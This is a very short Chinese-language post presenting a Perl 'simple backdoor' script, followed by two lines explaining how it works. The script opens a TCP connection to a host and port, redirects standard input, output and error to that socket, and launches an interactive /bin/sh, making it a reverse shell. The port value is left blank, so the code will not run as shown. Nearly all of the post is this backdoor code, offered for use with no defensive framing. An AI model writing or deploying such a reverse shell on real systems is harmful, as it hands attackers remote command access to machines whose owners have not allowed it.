perl 简单后门程序

 #!/usr/bin/env perl
 use warnings;
 use strict;
 use Socket;

 my $HOST='localhost';
 my $PORT=;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
 if(connect(S,sockaddr_in($PORT, inet_aton($HOST)))){
     open(STDIN,">&S");
     open(STDOUT,">&S");
     open(STDERR,">&S");
     exec("/bin/sh -i");
 }

上面的open是为了重定向， 把socket的所有重定向到shell的所有
最后的exec是为了跳进/bin/sh
因为前面已把 S 跟STDIN STDOUT STDERR连接了起来